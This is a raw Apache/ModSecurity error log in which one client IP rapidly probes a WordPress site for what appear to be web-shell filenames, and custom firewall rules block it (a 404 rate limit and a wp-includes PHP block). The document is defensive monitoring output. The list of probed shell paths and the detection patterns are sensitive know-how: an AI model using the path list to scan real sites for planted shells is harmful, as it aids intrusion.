[Fri Apr 17 07:58:05.583059 2026] [:error] [pid 9152:tid 9206] [client 172.213.155.173:54849] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeF3jZJYca8I3TNCwIdRegAAAFA"]
[Fri Apr 17 07:58:06.490230 2026] [:error] [pid 25010:tid 25022] [client 172.213.155.173:58814] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeF3jo-7kkf42RarqQ3xTAAAAUk"]
[Fri Apr 17 07:58:07.479466 2026] [:error] [pid 9153:tid 9220] [client 172.213.155.173:33491] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeF3j-MHGxkTZX3c45dnCQAAAII"]
[Fri Apr 17 07:58:08.951786 2026] [:error] [pid 51878:tid 51901] [client 172.213.155.173:33511] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "aeF3kEnQhUtMbw9EsgbT5gAAARU"]
[Fri Apr 17 07:58:10.217757 2026] [:error] [pid 51878:tid 51893] [client 172.213.155.173:49199] [client 172.213.155.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/wincust.php"] [unique_id "aeF3kknQhUtMbw9EsgbT7AAAAQ0"]
[Fri Apr 17 07:58:10.922340 2026] [:error] [pid 9151:tid 9174] [client 172.213.155.173:49193] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeF3kshTVuRPkua22vTQCQAAAA0"]
[Fri Apr 17 07:58:11.719797 2026] [:error] [pid 9151:tid 9169] [client 172.213.155.173:49183] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeF3k8hTVuRPkua22vTQDAAAAAg"]
[Fri Apr 17 07:58:12.746650 2026] [:error] [pid 34273:tid 34279] [client 172.213.155.173:4925] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeF3lGuQDW686mK3dgEqhAAAAYQ"]
[Fri Apr 17 07:58:13.470990 2026] [:error] [pid 9152:tid 9191] [client 172.213.155.173:4975] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aeF3lZJYca8I3TNCwIdRmQAAAEE"]
[Fri Apr 17 07:58:14.428706 2026] [:error] [pid 34273:tid 34280] [client 172.213.155.173:50062] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeF3lmuQDW686mK3dgEqigAAAYU"]
[Fri Apr 17 07:58:15.138747 2026] [:error] [pid 34273:tid 34299] [client 172.213.155.173:50079] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeF3l2uQDW686mK3dgEqjQAAAZg"]
[Fri Apr 17 07:58:15.795129 2026] [:error] [pid 9152:tid 9196] [client 172.213.155.173:23447] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeF3l5JYca8I3TNCwIdRogAAAEY"]
[Fri Apr 17 07:58:17.031382 2026] [:error] [pid 9152:tid 9191] [client 172.213.155.173:54896] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "aeF3mZJYca8I3TNCwIdRqwAAAEE"]
[Fri Apr 17 07:58:18.020885 2026] [:error] [pid 34273:tid 34285] [client 172.213.155.173:4956] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aeF3mmuQDW686mK3dgEqlAAAAYo"]
[Fri Apr 17 07:58:19.211544 2026] [:error] [pid 34273:tid 34283] [client 172.213.155.173:23439] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aeF3m2uQDW686mK3dgEqmwAAAYg"]
[Fri Apr 17 07:58:20.133959 2026] [:error] [pid 9153:tid 9222] [client 172.213.155.173:50056] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aeF3nOMHGxkTZX3c45dnEQAAAIQ"]
[Fri Apr 17 07:58:21.943954 2026] [:error] [pid 9263:tid 9281] [client 172.213.155.173:52845] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aeF3nRP68VyHNvj1e55IwgAAANA"]
[Fri Apr 17 07:58:23.121510 2026] [:error] [pid 34273:tid 34275] [client 172.213.155.173:33510] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aeF3n2uQDW686mK3dgEqqQAAAYA"]
[Fri Apr 17 07:58:23.938831 2026] [:error] [pid 34273:tid 34297] [client 172.213.155.173:4936] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aeF3n2uQDW686mK3dgEqrQAAAZY"]
[Fri Apr 17 07:58:26.073030 2026] [:error] [pid 34273:tid 34277] [client 172.213.155.173:33501] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aeF3omuQDW686mK3dgEqrgAAAYI"]
[Fri Apr 17 07:58:27.626067 2026] [:error] [pid 9153:tid 9240] [client 172.213.155.173:50099] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws57.php"] [unique_id "aeF3o-MHGxkTZX3c45dnHwAAAJY"]
[Fri Apr 17 07:58:29.169488 2026] [:error] [pid 9152:tid 9194] [client 172.213.155.173:50100] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "aeF3pZJYca8I3TNCwIdRxAAAAEQ"]
[Fri Apr 17 07:58:30.766063 2026] [:error] [pid 9152:tid 9205] [client 172.213.155.173:4853] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "aeF3ppJYca8I3TNCwIdRywAAAE8"]
[Fri Apr 17 07:58:32.240456 2026] [:error] [pid 25010:tid 25016] [client 172.213.155.173:5061] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "aeF3qI-7kkf42RarqQ3xYwAAAUM"]
[Fri Apr 17 07:58:37.499038 2026] [:error] [pid 9152:tid 9200] [client 172.213.155.173:52602] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "aeF3rZJYca8I3TNCwIdR0wAAAEo"]
[Fri Apr 17 07:58:38.874384 2026] [:error] [pid 9153:tid 9238] [client 172.213.155.173:10437] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws66.php"] [unique_id "aeF3ruMHGxkTZX3c45dnLwAAAJQ"]
[Fri Apr 17 07:58:41.462248 2026] [:error] [pid 34273:tid 34288] [client 172.213.155.173:10451] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws66.php"] [unique_id "aeF3sWuQDW686mK3dgEq4wAAAY0"]
[Fri Apr 17 07:58:42.726052 2026] [:error] [pid 34273:tid 34276] [client 172.213.155.173:38022] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws66.php"] [unique_id "aeF3smuQDW686mK3dgEq6wAAAYE"]
[Fri Apr 17 07:58:44.370261 2026] [:error] [pid 25010:tid 25028] [client 172.213.155.173:4652] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws66.php"] [unique_id "aeF3tI-7kkf42RarqQ3xbQAAAU8"]
[Fri Apr 17 07:58:46.017821 2026] [:error] [pid 51878:tid 51896] [client 172.213.155.173:37803] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeF3tknQhUtMbw9EsgbT_wAAARA"]
[Fri Apr 17 07:58:48.393081 2026] [:error] [pid 25010:tid 25024] [client 172.213.155.173:38034] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeF3uI-7kkf42RarqQ3xbwAAAUs"]
[Fri Apr 17 07:58:49.438716 2026] [:error] [pid 25010:tid 25016] [client 172.213.155.173:38019] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeF3uY-7kkf42RarqQ3xcgAAAUM"]
[Fri Apr 17 07:58:51.581577 2026] [:error] [pid 9153:tid 9219] [client 172.213.155.173:25520] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeF3u-MHGxkTZX3c45dnSAAAAIE"]
[Fri Apr 17 07:58:53.711400 2026] [:error] [pid 9153:tid 9218] [client 172.213.155.173:38021] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xynz.php"] [unique_id "aeF3veMHGxkTZX3c45dnTgAAAIA"]
[Fri Apr 17 07:58:54.729121 2026] [:error] [pid 9151:tid 9179] [client 172.213.155.173:10457] File does not exist: /usr/local/apache/htdocs/suspended-page/xynz.php
[Fri Apr 17 07:58:55.111543 2026] [:error] [pid 9151:tid 9174] [client 172.213.155.173:10457] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-01ul.php
[Fri Apr 17 07:58:55.361339 2026] [:error] [pid 9151:tid 9169] [client 172.213.155.173:10457] File does not exist: /usr/local/apache/htdocs/suspended-page/e7.php
[Fri Apr 17 07:58:55.607186 2026] [:error] [pid 9151:tid 9181] [client 172.213.155.173:10457] File does not exist: /usr/local/apache/htdocs/suspended-page/e3.php
[Fri Apr 17 07:58:55.843325 2026] [:error] [pid 9151:tid 9163] [client 172.213.155.173:10457] File does not exist: /usr/local/apache/htdocs/suspended-page/aevly.php
[Fri Apr 17 07:58:56.079531 2026] [:error] [pid 9151:tid 9184] [client 172.213.155.173:10457] File does not exist: /usr/local/apache/htdocs/suspended-page/bthil.php
[Fri Apr 17 07:58:56.318453 2026] [:error] [pid 9151:tid 9161] [client 172.213.155.173:10457] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Fri Apr 17 07:58:56.566529 2026] [:error] [pid 9151:tid 9164] [client 172.213.155.173:10457] File does not exist: /usr/local/apache/htdocs/suspended-page/cilus.php
[Fri Apr 17 07:58:56.802890 2026] [:error] [pid 9151:tid 9176] [client 172.213.155.173:10457] File does not exist: /usr/local/apache/htdocs/suspended-page/d.php
[Fri Apr 17 07:58:57.047114 2026] [:error] [pid 9151:tid 9165] [client 172.213.155.173:10457] File does not exist: /usr/local/apache/htdocs/suspended-page/error_log.php
[Fri Apr 17 07:58:57.284346 2026] [:error] [pid 9151:tid 9178] [client 172.213.155.173:10457] File does not exist: /usr/local/apache/htdocs/suspended-page/Ov-Simple1.php
[Fri Apr 17 07:58:57.586306 2026] [:error] [pid 9151:tid 9171] [client 172.213.155.173:10457] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/curl.php"] [unique_id "aeF3wchTVuRPkua22vTQNQAAAAo"]
[Fri Apr 17 07:58:58.278415 2026] [:error] [pid 34273:tid 34276] [client 172.213.155.173:38053] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/curl.php"] [unique_id "aeF3wmuQDW686mK3dgErJgAAAYE"]
[Fri Apr 17 07:59:00.032691 2026] [:error] [pid 25010:tid 25016] [client 172.213.155.173:34277] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/curl.php"] [unique_id "aeF3xI-7kkf42RarqQ3xiQAAAUM"]
[Fri Apr 17 07:59:00.953426 2026] [:error] [pid 9151:tid 9170] [client 172.213.155.173:34246] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/curl.php"] [unique_id "aeF3xMhTVuRPkua22vTQOgAAAAk"]
[Fri Apr 17 07:59:02.590035 2026] [:error] [pid 34273:tid 34290] [client 172.213.155.173:45936] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "aeF3xmuQDW686mK3dgErPgAAAY8"]
[Fri Apr 17 07:59:03.500468 2026] [:error] [pid 34273:tid 34286] [client 172.213.155.173:34247] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "aeF3x2uQDW686mK3dgErRQAAAYs"]
[Fri Apr 17 07:59:04.150985 2026] [:error] [pid 34273:tid 34279] [client 172.213.155.173:51623] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "aeF3yGuQDW686mK3dgErRwAAAYQ"]
[Fri Apr 17 07:59:05.691553 2026] [:error] [pid 9152:tid 9191] [client 172.213.155.173:64153] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sallu.php"] [unique_id "aeF3yZJYca8I3TNCwIdR9AAAAEE"]
[Fri Apr 17 07:59:06.886658 2026] [:error] [pid 9263:tid 9266] [client 172.213.155.173:45942] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aeF3yhP68VyHNvj1e55IzQAAAME"]
[Fri Apr 17 07:59:07.867388 2026] [:error] [pid 9151:tid 9164] [client 172.213.155.173:34285] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aeF3y8hTVuRPkua22vTQQgAAAAM"]
[Fri Apr 17 07:59:08.956556 2026] [:error] [pid 9153:tid 9225] [client 172.213.155.173:51616] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aeF3zOMHGxkTZX3c45dnaAAAAIc"]
[Fri Apr 17 07:59:11.864956 2026] [:error] [pid 34273:tid 34292] [client 172.213.155.173:17262] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aeF3z2uQDW686mK3dgErXAAAAZE"]
[Fri Apr 17 07:59:13.477889 2026] [:error] [pid 34273:tid 34284] [client 172.213.155.173:34278] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeF30WuQDW686mK3dgErZwAAAYk"]
[Fri Apr 17 07:59:19.524721 2026] [:error] [pid 34273:tid 34284] [client 172.213.155.173:4918] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeF312uQDW686mK3dgErkgAAAYk"]
[Fri Apr 17 07:59:20.637792 2026] [:error] [pid 34273:tid 34294] [client 172.213.155.173:17083] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeF32GuQDW686mK3dgErnwAAAZM"]
[Fri Apr 17 07:59:22.563150 2026] [:error] [pid 9153:tid 9237] [client 172.213.155.173:17235] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeF32uMHGxkTZX3c45dnewAAAJM"]
[Fri Apr 17 07:59:24.075369 2026] [:error] [pid 9152:tid 9211] [client 172.213.155.173:62066] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aeF33JJYca8I3TNCwIdSLwAAAFU"]
[Fri Apr 17 07:59:25.106451 2026] [:error] [pid 9263:tid 9272] [client 172.213.155.173:12672] [client 172.213.155.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aeF33RP68VyHNvj1e55I5QAAAMc"]
